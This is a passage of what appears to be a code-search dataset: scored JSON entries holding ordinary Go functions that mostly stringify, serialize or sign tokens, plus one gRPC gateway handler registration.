TOKEN_REL_OR {\n retStr = \"||\";\n }\n if id == TOKEN_REL_GTOE {\n retStr = \">=\";\n }\n if id == TOKEN_REL_GT {\n retStr = \">\";\n }\n if id == TOKEN_REL_LTOE {\n retStr = \"<=\";\n }\n if id == TOKEN_REL_LT {\n retStr = \"<\";\n }\n if id == TOKEN_ARITH_PLUS {\n retStr = \"+\";\n }\n if id == TOKEN_ARITH_MINUS {\n retStr = \"-\";\n }\n if id == TOKEN_ARITH_MUL {\n retStr = \"*\";\n }\n if id == TOKEN_ARITH_DIV {\n retStr = \"/\";\n }\n if id == TOKEN_OP_ADR {\n retStr = \"&\";\n }\n if id == TOKEN_FOR {\n retStr = \"for\";\n }\n if id == TOKEN_IF {\n retStr = \"if\";\n }\n if id == TOKEN_TYPE {\n retStr = \"type\";\n }\n if id == TOKEN_CONST {\n retStr = \"const\";\n }\n if id == TOKEN_VAR {\n retStr = \"var\";\n }\n if id == TOKEN_STRUCT {\n retStr = \"struct\";\n }\n if id == TOKEN_RETURN {\n retStr = \"return\";\n }\n if id == TOKEN_FUNC {\n retStr = \"func\";\n }\n if id == TOKEN_PACKAGE {\n retStr = \"package\";\n }\n if id == TOKEN_IMPORT {\n retStr = \"import\";\n }\n\n return retStr;\n}", "title": "" }, { "docid": "2e8b2f6df525fc330d58942daf6a4500", "score": "0.57274354", "text": "func (t Token) String() string {\n\ttext := strings.Builder{}\n\n\t// Add the prefix\n\ttext.WriteString(fmt.Sprintf(\"%s: <%s> token\", t.Loc, t.Sym))\n\n\t// Add the semantic value, if present\n\tif t.Val != nil {\n\t\ttext.WriteString(fmt.Sprintf(\": %v\", t.Val))\n\t}\n\n\treturn text.String()\n}", "title": "" }, { "docid": "a2c66c6bbd6244af16488044065d6a37", "score": "0.5722722", "text": "func (self *Token) String() string {\n\treturn fmt.Sprintf(\"<%s,%s>\", TokenName(int(self.Type)), self.Str)\n}", "title": "" }, { "docid": "9da8ecbb55fe76b652d10706b56a9d2a", "score": "0.5708877", "text": "func (t Token) String() string { return tokens[t] }", "title": "" }, { "docid": "1362a263813839881f3a98b1aeba3d30", "score": "0.5708808", "text": "func (tkn Token) String() string {\n\tswitch {\n\tcase tkn == 0:\n\t\treturn \"UNKNOWN\"\n\tcase tkn < Token(len(token2string)):\n\t\treturn token2string[tkn]\n\tdefault:\n\t\treturn \"token(\" + strconv.Itoa(int(tkn)) + \")\"\n\t}\n}", "title": "" }, { "docid": "ea72cf00315cc06014c5864fc7089d88", "score": "0.57032025", "text": "func (sr *cryptoSerializer) Serialize(\n\ttoken interface{}) (s string, err error) {\n\treturn genericSerialize(token, sr.writeSign)\n}", "title": "" }, { "docid": "06998aa501d45bfe5b3922a4f83a1bda", "score": "0.5680771", "text": "func (tc *tokenCache) marshal(t *cachedToken) ([]byte, error) {\n\tbuf := bytes.Buffer{}\n\tenc := gob.NewEncoder(&buf)\n\tif err := enc.Encode(t); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "565d7278287c56c0efb640029e144cba", "score": "0.5661032", "text": "func (a AuthenticationToken) String() string {\n\treturn fmt.Sprintf(\"authenticationtoken(scheme:%s identity:%s credential:*******, values:%v)\", a.Scheme, a.Identity, a.Values)\n}", "title": "" }, { "docid": "c185334cc5fa598451f13241b7a5c3ab", "score": "0.5647125", "text": "func (s ParticipantToken) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "019a19cc20f5397f2e4558e339515fe5", "score": "0.56465036", "text": "func (t Token) String() string {\n return kindName[t.kind] + \" \" + t.lexeme\n}", "title": "" }, { "docid": "41490a9d01d47ed82d391873e2c5f8f0", "score": "0.5645918", "text": "func (t *Token) String() string {\n\tif len(t.Value) > 10 {\n\t\treturn fmt.Sprintf(\"%s (line: %d, column: %d): %.10q...\",\n\t\t\tt.Type, t.Line, t.Column, t.Value)\n\t}\n\treturn fmt.Sprintf(\"%s (line: %d, column: %d): %q\",\n\t\tt.Type, t.Line, t.Column, t.Value)\n}", "title": "" }, { "docid": "27718b8b3467b18a9b9f94bfde728470", "score": "0.5633899", "text": "func GetJSONToken(user *models.User) string {\n\ttoken := GetToken(user)\n\t//jsontoken := \"{'id_token': \\\"\" + token + \"\\\"}\"\n\treturn token\n}", "title": "" }, { "docid": "62a0f7b4047bb10b138cedc9cc825bf6", "score": "0.5632783", "text": "func (tok SecretToken) String() string {\n\tbs := make([]byte, TokenLength*2)\n\tcopy(bs[:TokenLength], tok.ID[:])\n\tcopy(bs[TokenLength:], tok.Secret[:])\n\treturn base58.Encode(bs)\n}", "title": "" }, { "docid": "dfa4822f007731a42bc809c7aaff793d", "score": "0.56262594", "text": "func (credInfo OAuthTokenInfo) ToJSON() ([]byte, error) {\n\treturn json.Marshal(credInfo)\n}", "title": "" }, { "docid": "48490084d38685850a8cf865431a236d", "score": "0.5592172", "text": "func FormatTokenString(input string) string {\n\treturn FormatUnitString(input, 18)\n}", "title": "" }, { "docid": "5b99a41f48764ee0db7e4a5556a9cd76", "score": "0.55764586", "text": "func ToString( tokenList []model.Token ) string {\n\tlist := make([]string,0)\n\tquote := 0 // quote counter\n\tfor _, token := range tokenList {\n\t\ttext := token.Text\n\t\tsize := len(list)\n\t\tif noSpaceBefore(text) { // remove space before current item?\n\t\t\tif size > 0 && list[size - 1] == \" \" {\n\t\t\t\tlist = list[:size-1]\n\t\t\t}\n\t\t}\n\t\tif text == \"\\\"\" { // count quotes\n\t\t\tquote += 1\n\t\t}\n\t\tif text == \"\\\"\" && quote % 2 == 0 { // end quotes\n\t\t\tif size > 0 && list[size - 1] == \" \" {\n\t\t\t\tlist = list[:size-1]\n\t\t\t}\n\t\t\tlist = append(list, text)\n\t\t\tlist = append(list, \" \")\n\t\t} else if text == \"\\\"\" { // start quote\n\t\t\tlist = append(list, text)\n\t\t} else if noSpaceAfter(text) { // no spaces after this token\n\t\t\tlist = append(list, text)\n\t\t} else { // all others\n\t\t\tlist = append(list, text)\n\t\t\tlist = append(list, \" \")\n\t\t}\n\t}\n\tvar buffer bytes.Buffer\n\tfor _, str := range list {\n\t\tbuffer.WriteString(str)\n\t}\n\treturn strings.TrimSpace(buffer.String())\n}", "title": "" }, { "docid": "306735c794ad51a393b88e04f5aa8898", "score": "0.5557637", "text": "func (t *Token) Marshal(bs ...[]byte) ([]byte, error) {\n\tvar buf []byte\n\tif len(bs) > 0 {\n\t\tbuf = bs[0]\n\t}\n\n\treturn (*session.SessionToken)(t).\n\t\tStableMarshal(buf)\n}", "title": "" }, { "docid": "aa5b44c01957ec23a3ab62d83f5a78e9", "score": "0.5556427", "text": "func (t TokenAuth) String() string {\n\treturn fmt.Sprintf(\"token %s\", t.AccessToken)\n}", "title": "" }, { "docid": "b847e0e3d66560b7ce510697f1d5c510", "score": "0.5534249", "text": "func (s GetAuthorizationTokenOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7a344a496819ecbab75ec99bfee2f2e1", "score": "0.55172354", "text": "func (tok Token) String() string {\n\ts := \"\"\n\tif 0 <= tok && tok < Token(len(tokens)) {\n\t\ts = tokens[tok]\n\t}\n\t// helps with debugging\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(tok)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "b4d41513150025f4aeed437a6544655f", "score": "0.55170023", "text": "func (tok Token) String() string {\n\ts := \"\"\n\tif 0 <= tok && tok < Token(len(tokens)) {\n\t\ts = tokens[tok]\n\t}\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(tok)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "b4d41513150025f4aeed437a6544655f", "score": "0.55170023", "text": "func (tok Token) String() string {\n\ts := \"\"\n\tif 0 <= tok && tok < Token(len(tokens)) {\n\t\ts = tokens[tok]\n\t}\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(tok)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "b4d41513150025f4aeed437a6544655f", "score": "0.55170023", "text": "func (tok Token) String() string {\n\ts := \"\"\n\tif 0 <= tok && tok < Token(len(tokens)) {\n\t\ts = tokens[tok]\n\t}\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(tok)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "b4d41513150025f4aeed437a6544655f", "score": "0.55170023", "text": "func (tok Token) String() string {\n\ts := \"\"\n\tif 0 <= tok && tok < Token(len(tokens)) {\n\t\ts = tokens[tok]\n\t}\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(tok)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "4d91c807a1023ddf2fb3e890f71af86f", "score": "0.54818475", "text": "func (t Token) String() string {\n\ts := \"\"\n\tif 0 <= t && t < Token(len(tokens)) {\n\t\ts = tokens[t]\n\t}\n\tif s == \"\" {\n\t\ts = \"token(\" + strconv.Itoa(int(t)) + \")\"\n\t}\n\treturn s\n}", "title": "" }, { "docid": "8f83285fe56df9f571741bfbebdd54a6", "score": "0.5472705", "text": "func (m *Manager) SignToken(token *jwt.Token) ([]byte, error) {\n\n\t// Take the input token and sign it with manager key\n\tjwtStr, err := token.SignedString(m.key)\n\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\treturn []byte(jwtStr), err\n}", "title": "" }, { "docid": "b6be3acc803fa0736114e7732b078398", "score": "0.5470076", "text": "func (atm *AuthTokenMem) String() string {\n\treturn proto.CompactTextString(atm)\n}", "title": "" }, { "docid": "165cf569b278f96db40a59f6f53651ca", "score": "0.5463704", "text": "func (t TokenID) String() string {\n\treturn uuid.UUID(t).String()\n}", "title": "" }, { "docid": "b0b6f6f529e5a4734c7735d0876ff17e", "score": "0.5461653", "text": "func sendToken(w http.ResponseWriter, u string) {\n\tt := authn.GetToken(u)\n\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.WriteHeader(http.StatusOK)\n\n\tif err := json.NewEncoder(w).Encode(authn.Token{Token: t}); err != nil {\n\t\tpanic(err)\n\t}\n\n}", "title": "" }, { "docid": "cb9655ea63c21379b5f5930239b5e71f", "score": "0.5445855", "text": "func (o SourceControlSecurityOutput) Token() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SourceControlSecurity) string { return v.Token }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "512b0a79a85994f1c3a738f236e185ba", "score": "0.5421685", "text": "func TokenRepr(token Token) string {\n\tif token != 0 && token < 256 {\n\t\treturn fmt.Sprintf(\"%q\", rune(token))\n\t}\n\tif repr, found := tokenReprs[token]; found {\n\t\treturn repr\n\t}\n\treturn fmt.Sprintf(\"Token(%d)\", token)\n}", "title": "" }, { "docid": "7a0128deaac2cd7ac0de49ac932a4a5c", "score": "0.54162467", "text": "func (t *GrantToken) String() string {\n\treturn fmt.Sprintf(\"%s:%s:%s\", t.Version, t.Domain, t.secret)\n}", "title": "" }, { "docid": "ad318dd5fb4b715ed828a95c0b87e247", "score": "0.53644437", "text": "func (obj WhitespaceTokenizer) MarshalJSON() ([]byte, error) {\n\ttype Alias WhitespaceTokenizer\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"type\"`\n\t\t*Alias\n\t}{Action: \"whitespace\", Alias: (*Alias)(&obj)})\n}", "title": "" }, { "docid": "64eb6476e3992b0af4a4479657477a9e", "score": "0.53503054", "text": "func (s *Salter) Token(size int) (string, error) {\n\ttoken, err := s.BToken(size)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(token), nil\n}", "title": "" }, { "docid": "1db888a820d78fce96edefaad7793345", "score": "0.53497064", "text": "func (b CodeBuffer) stringify () string {\n mode := b.tree.Root.Data.(*Token).Value\n return fmt.Sprintf(\"CodeBuffer:\\nname: %s\\nmode: %s\\ntree:\\n%s\",\n b.name, mode, stringifyTree(b.tree)) + \"\\n\\n\"\n}", "title": "" }, { "docid": "a03b7b44ae01d1296dff7f5d7ef8063b", "score": "0.5342704", "text": "func SaveToken(token *oauth2.Token) {\n\tpath := viper.GetString(\"token-output-path\")\n\tlogger.Log.Info(\"saving token file to: \" + path)\n\tf, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0600)\n\tif err != nil {\n\t\tlogger.Log.Error(\"unable to cache oauth token: +\" + err.Error())\n\t}\n\tdefer f.Close()\n\tjson.NewEncoder(f).Encode(token)\n}", "title": "" }, { "docid": "3845324aefe3cc8f68e0fd1a200b8652", "score": "0.5324", "text": "func (l Literal) String() string {\n\tb, _ := l.MarshalJSON()\n\treturn string(b)\n}", "title": "" }, { "docid": "a98af97349b37c8ee8c3fe2c461b227a", "score": "0.53238153", "text": "func TokenString(tok Token) string {\n\tif s, found := tokenString[tok]; found {\n\t\treturn s\n\t}\n\treturn fmt.Sprintf(\"%q\", tok)\n}", "title": "" }, { "docid": "23e9e664f9c4db1ffb54f06c79ac6bb2", "score": "0.53171396", "text": "func (t Token) String() string {\n\tdot := bytes.LastIndexByte(t.raw, '.')\n\treturn string(t.raw[:dot]) + `.<signature>`\n}", "title": "" }, { "docid": "295d23da27456a1f40a0b1a8d3126317", "score": "0.531588", "text": "func (s CreateParticipantTokenInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ec76b3da15cb60636fc0072759f51511", "score": "0.52994156", "text": "func (s GetFederationTokenInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4149117af1f739fa7d41363a70f7eacb", "score": "0.5293998", "text": "func (a TokeninfoAction) MarshalJSON() ([]byte, error) {\n\tdata, err := json.Marshal(a.String())\n\treturn data, errors.WithStack(err)\n}", "title": "" }, { "docid": "41bcf1468cd69ff1bf6a0305bf9c4f73", "score": "0.5285693", "text": "func RegisterToken(w rest.ResponseWriter, r *rest.Request) {\n\ttoken := r.PathParam(\"token\")\n\ttokenAddr := common.HexToAddress(token)\n\tmgr, err := RaidenAPI.RegisterToken(tokenAddr)\n\ttype Ret struct {\n\t\tChannelManagerAddress string `json:\"channel_manager_address\"`\n\t}\n\tif err != nil {\n\t\tlog.Error(fmt.Sprintf(\"RegisterToken %s err:%s\", tokenAddr.String(), err))\n\t\trest.Error(w, err.Error(), http.StatusConflict)\n\t} else {\n\t\tret := &Ret{ChannelManagerAddress: mgr.String()}\n\t\terr = w.WriteJson(ret)\n\t\tif err != nil {\n\t\t\tlog.Warn(fmt.Sprintf(\"writejson err %s\", err))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0add75463699d1e4e263e42491af5c2e", "score": "0.5279705", "text": "func (o *Authzgrant) String() string {\n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "e6a907d7d5e163c5c35408d6af275086", "score": "0.5273885", "text": "func (t *token) String() string {\n\tif len(t.value) > 10 {\n\t\treturn fmt.Sprintf(\"%s (line: %d, column: %d): %.10q...\",\n\t\t\tt.t, t.line, t.column, t.value)\n\t}\n\treturn fmt.Sprintf(\"%s (line: %d, column: %d): %q\",\n\t\tt.t, t.line, t.column, t.value)\n}", "title": "" }, { "docid": "9f635183b2094eeb7da33cc6a208d296", "score": "0.52737784", "text": "func EncodeToken(jwtSecretKey string, github string) (string, error) {\n\ttkn := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"github\": github,\n\t})\n\ttknString, err := tkn.SignedString([]byte(jwtSecretKey))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error encoding login token\")\n\t}\n\n\treturn tknString, nil\n}", "title": "" }, { "docid": "bb39b861ec8ee425cc48dcd4538d19cf", "score": "0.5267348", "text": "func StringifyAllTokens(tks []*Token) string {\n\tvar tokenStrs = []string{}\n\tfor _, tk := range tks {\n\t\ttokenStrs = append(tokenStrs, stringifyToken(tk))\n\t}\n\treturn strings.Join(tokenStrs, \" \")\n}", "title": "" }, { "docid": "0279223def00495e51ce9f47d011c628", "score": "0.5259163", "text": "func (o *Integrationtype) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "a276db07a1d5b3d6ee0f9ca5508c0897", "score": "0.5247467", "text": "func (t Tokens) String() (s string) {\n\ts += \"[\"\n\t\n\tfor i, v := range []Token(t) {\n\t\ts += v.String()\n\t\t\n\t\tif i < len(t) - 1 {\n\t\t\ts += \", \"\n\t\t}\n\t}\n\t\n\ts += \"]\"\n\t\n\treturn\n}", "title": "" }, { "docid": "09b1c188bf5aa5a90c12198aa52b3622", "score": "0.52447754", "text": "func newJSONHistoryTokenSerializer() *jsonHistoryTokenSerializer {\n\treturn &jsonHistoryTokenSerializer{}\n}", "title": "" }, { "docid": "64d85038cd552258c3a88473576b312f", "score": "0.5242142", "text": "func (s CreateParticipantTokenOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "78f6be165f672ff2fafbbb89ca685ad5", "score": "0.52328044", "text": "func (o *Trunkmetrics) String() string {\n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "9ab7b0ec6bce5aa17cd9c50fb2cb5472", "score": "0.52117246", "text": "func (node *Literal) String() string {\n\tvar x interface{} = node.Value\n\n\tswitch node.Kind.Kind {\n\tcase types.KindArray:\n\t\tx = node.Array\n\n\tcase types.KindMap:\n\t\tx = node.Map\n\n\tcase types.KindFunc:\n\t\treturn \"func \" + node.Value\n\t}\n\n\t// Ignore error, it shouldn't happen, and if it does there is nothing\n\t// sensible we can do in that case.\n\tv, _ := json.Marshal(x)\n\n\treturn string(v)\n}", "title": "" }, { "docid": "c77625cb69c8ce97045514ea95779cd7", "score": "0.52086943", "text": "func CreateToken(s *symbols.SymbolTable, args []interface{}) (interface{}, error) {\n\n\tvar err error\n\n\t// Create a new token object, with the username and an ID. If there was a\n\t// data payload as well, add that to the token.\n\tt := Token{\n\t\tName: util.GetString(args[0]),\n\t\tTokenID: uuid.New(),\n\t}\n\tif len(args) == 2 {\n\t\tt.Data = util.GetString(args[1])\n\t}\n\n\t// Get the session ID of the current Ego program and add it to\n\t// the token. A token can only be validated on the same system\n\t// that created it.\n\tif session, ok := s.Get(\"_session\"); ok {\n\t\tt.AuthID, err = uuid.Parse(util.GetString(session))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Fetch the default interval, or use 15 minutes as the default.\n\t// Calculate a time value for when this token expires\n\tinterval := persistence.Get(TokenExpirationSetting)\n\tif interval == \"\" {\n\t\tinterval = \"15m\"\n\t}\n\tduration, err := time.ParseDuration(interval)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tt.Expires = time.Now().Add(duration)\n\n\t// Make the token into a json string\n\tb, err := json.Marshal(t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encrypt the string value\n\tencryptedString, err := util.Encrypt(string(b), getTokenKey())\n\tif err != nil {\n\t\treturn b, err\n\t}\n\treturn hex.EncodeToString([]byte(encryptedString)), nil\n}", "title": "" }, { "docid": "edc0ad724377a6b35eae6137d6d7829b", "score": "0.520084", "text": "func (o *Acceleratorinput) String() string {\n \n \n o.Parameters = []Acceleratorparameter{{}} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "e21ee81e5bb01bd477f25479935834f5", "score": "0.5195108", "text": "func (t Token) String() string {\n\treturn fmt.Sprintf(\"%s<%s>(line=%d,col=%d-%d)\", t.Literal, t.Type, t.Line, t.StartCol, t.EndCol)\n}", "title": "" }, { "docid": "5df4778e84e27ad206c28c07d7894ad1", "score": "0.519361", "text": "func (o TokenReviewSpecOutput) Token() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TokenReviewSpec) *string { return v.Token }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5df4778e84e27ad206c28c07d7894ad1", "score": "0.519361", "text": "func (o TokenReviewSpecOutput) Token() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TokenReviewSpec) *string { return v.Token }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "58b6fbb0730a8d3bf1a9c69e54f9521b", "score": "0.5184565", "text": "func (this *Codec) serialize(root *TreeNode) string {\n\tif root == nil {\n\t\treturn \"\"\n\t}\n\n\tnodes := []rune{}\n\n\tvar preOrder func(root *TreeNode)\n\tpreOrder = func(root *TreeNode) {\n\t\tif root == nil {\n\t\t\treturn\n\t\t}\n\n\t\tnodes = append(nodes, rune(root.Val))\n\t\tpreOrder(root.Left)\n\t\tpreOrder(root.Right)\n\t}\n\n\tpreOrder(root)\n\n\treturn string(nodes)\n}", "title": "" }, { "docid": "96adfc703873438dff10d3f3d62452e1", "score": "0.51771", "text": "func Token(key, namespace []byte, createAt int64) ([]byte, error) {\n\tt := &Base{Namespace: namespace, CreateAt: createAt, Version: 1}\n\tdata, err := t.MarshalBinary()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmac := hmac.New(sha256.New, key)\n\tmac.Write(data)\n\tsign := mac.Sum(nil)\n\n\t//truncate to 32 byte: https://tools.ietf.org/html/rfc2104#section-5\n\t// we have 11 byte rigth of hmac,so the rest of data is token message\n\tsign = sign[:tokenSignLen]\n\n\tencodedSign := make([]byte, hex.EncodedLen(len(sign)))\n\thex.Encode(encodedSign, sign)\n\tvar token []byte\n\ttoken = append(token, data...)\n\ttoken = append(token, '-')\n\ttoken = append(token, encodedSign...)\n\treturn token, nil\n}", "title": "" }, { "docid": "90791deee4529086fcd150ce67fe4e10", "score": "0.5167749", "text": "func (this *authSvc) CreateTokenString(token *Token) (string, error) {\n\treturn token.SignedString(this.PriKey)\n}", "title": "" }, { "docid": "49d3b02222aa3ef7b7ab97dd85ae5b7e", "score": "0.5167347", "text": "func (o *Workplanvalidationmessageargument) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "45300b3589ac099b9e8cbd3360021df9", "score": "0.5158608", "text": "func (s ParticipantTokenConfiguration) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d5350c5ceab921afd2e0058b2e94e1d5", "score": "0.515417", "text": "func (tok token) String() string {\n\tswitch tok.typ {\n\tcase tokenText:\n\t\treturn fmt.Sprintf(\"%q\", tok.txt)\n\tcase tokenIdentifier:\n\t\treturn string(tok.txt)\n\tcase tokenSemicolon:\n\t\tif tok.txt == nil {\n\t\t\treturn \"newline\"\n\t\t}\n\t}\n\treturn tok.typ.String()\n}", "title": "" }, { "docid": "58e8b30ee2f3302acbb4291a979c0e43", "score": "0.51465595", "text": "func (res AuthTokenCreateResponse) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(map[string]string{\"token\": res.Token})\n}", "title": "" }, { "docid": "56b7ee6a44c6cf52adbde51b5ea08cc2", "score": "0.51419467", "text": "func tokstr(t Token, lit string) string {\n\tif lit != \"\" {\n\t\treturn lit\n\t}\n\treturn t.String()\n}", "title": "" }, { "docid": "2506f5bcb52dd62906553374eb35ddad", "score": "0.51375943", "text": "func (t tokenType) String() string {\n\treturn tokenNames[t]\n}", "title": "" }, { "docid": "2506f5bcb52dd62906553374eb35ddad", "score": "0.51375943", "text": "func (t tokenType) String() string {\n\treturn tokenNames[t]\n}", "title": "" }, { "docid": "7fd4a4409a91bfb11c140d913b2fb2d0", "score": "0.5136832", "text": "func (tok Token) String() string {\n\tif tok >= 0 && tok < Token(len(tokens)) {\n\t\treturn tokens[tok]\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "fdbb27fae96c96071e1e6fd9e74435aa", "score": "0.5135396", "text": "func (s IcuCollationTokenFilter) MarshalJSON() ([]byte, error) {\n\ttype innerIcuCollationTokenFilter IcuCollationTokenFilter\n\ttmp := innerIcuCollationTokenFilter{\n\t\tAlternate: s.Alternate,\n\t\tCaseFirst: s.CaseFirst,\n\t\tCaseLevel: s.CaseLevel,\n\t\tCountry: s.Country,\n\t\tDecomposition: s.Decomposition,\n\t\tHiraganaQuaternaryMode: s.HiraganaQuaternaryMode,\n\t\tLanguage: s.Language,\n\t\tNumeric: s.Numeric,\n\t\tRules: s.Rules,\n\t\tStrength: s.Strength,\n\t\tType: s.Type,\n\t\tVariableTop: s.VariableTop,\n\t\tVariant: s.Variant,\n\t\tVersion: s.Version,\n\t}\n\n\ttmp.Type = \"icu_collation\"\n\n\treturn json.Marshal(tmp)\n}", "title": "" }, { "docid": "5a63c9c78d3caadb6dd16805e1669cbf", "score": "0.51330286", "text": "func JSONToString(j []*ExplainInfoForEncode) (string, error) {\n\tbyteBuffer := bytes.NewBuffer([]byte{})\n\tencoder := json.NewEncoder(byteBuffer)\n\t// avoid wrongly embedding\n\tencoder.SetEscapeHTML(false)\n\tencoder.SetIndent(\"\", \" \")\n\terr := encoder.Encode(j)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn byteBuffer.String(), nil\n}", "title": "" }, { "docid": "09778c8b3fc5c16af1c9393db7d45944", "score": "0.51300037", "text": "func (o TokenReviewSpecPatchOutput) Token() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TokenReviewSpecPatch) *string { return v.Token }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "e4bfb97d4c9488b655bf5ec9a90fb113", "score": "0.5115995", "text": "func (o *Edgeservicestaterequest) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "1ab015181e2c385b3c86e36004223fab", "score": "0.5115876", "text": "func String(token []byte, method string, name string, food string) string {\n\tvar hasher hash.Hash\n\n\thasher = sha256.New()\n\n\thasher.Write(token)\n\thasher.Write([]byte(strings.ToUpper(method)))\n\thasher.Write([]byte(name))\n\thasher.Write([]byte(food))\n\n\treturn base64.URLEncoding.EncodeToString(hasher.Sum(nil))\n}", "title": "" }, { "docid": "18e34c897cd7d4bfeb8815017a440ef9", "score": "0.5115119", "text": "func (hst HSToken) Encode(payload interface{}) (string, error) {\n\theaderBytes, err := json.Marshal(hst.header)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tpayloadBytes, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\theaderBase64 := base64.RawURLEncoding.EncodeToString(headerBytes)\n\tpayloadBase64 := base64.RawURLEncoding.EncodeToString(payloadBytes)\n\treturn fmt.Sprintf(\"%s.%s.%s\",\n\t\theaderBase64,\n\t\tpayloadBase64,\n\t\tbase64.RawURLEncoding.EncodeToString(hst.signature(headerBase64, payloadBase64)),\n\t), nil\n}", "title": "" }, { "docid": "442384bf11e6fc0190b0eb714cb49b01", "score": "0.5114694", "text": "func (b *BearerToken) MarshalJSON() ([]byte, error) {\n\treturn b.ToV2().\n\t\tMarshalJSON()\n}", "title": "" }, { "docid": "d22ef4233a537640fc9c4cf370306ec3", "score": "0.51141566", "text": "func (o SourceCredentialOutput) Token() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SourceCredential) pulumi.StringOutput { return v.Token }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "bc639e10a121a028b26769392c063824", "score": "0.51116705", "text": "func (o TokenReviewSpecPtrOutput) Token() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TokenReviewSpec) *string { return v.Token }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "b1027f6af60191d952026ef2a30faa59", "score": "0.50878507", "text": "func Token() []byte {\n\treturn global.Token()\n}", "title": "" }, { "docid": "d377567b99fca6f9e6c62e8d9095dc8f", "score": "0.50871074", "text": "func (s AuthToken) Tokenize() (string, error) {\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"login\": s.Login,\n\t\t\"exp\": s.Expires,\n\t})\n\n\ttokenString, err := token.SignedString(signingKey)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn tokenString, nil\n}", "title": "" } ]
a988b2841d6a95b628c685af0c43d56f
RegisterCollectorServiceV1HandlerFromEndpoint is same as RegisterCollectorServiceV1Handler but automatically dials to "endpoint" and closes the connection when "ctx" gets done.
[ { "docid": "45a2cc3c9844c512da7401477308ff5a", "score": "0.8410234", "text": "func RegisterCollectorServiceV1HandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCollectorServiceV1Handler(ctx, mux, conn)\n}", "title": "" } ]
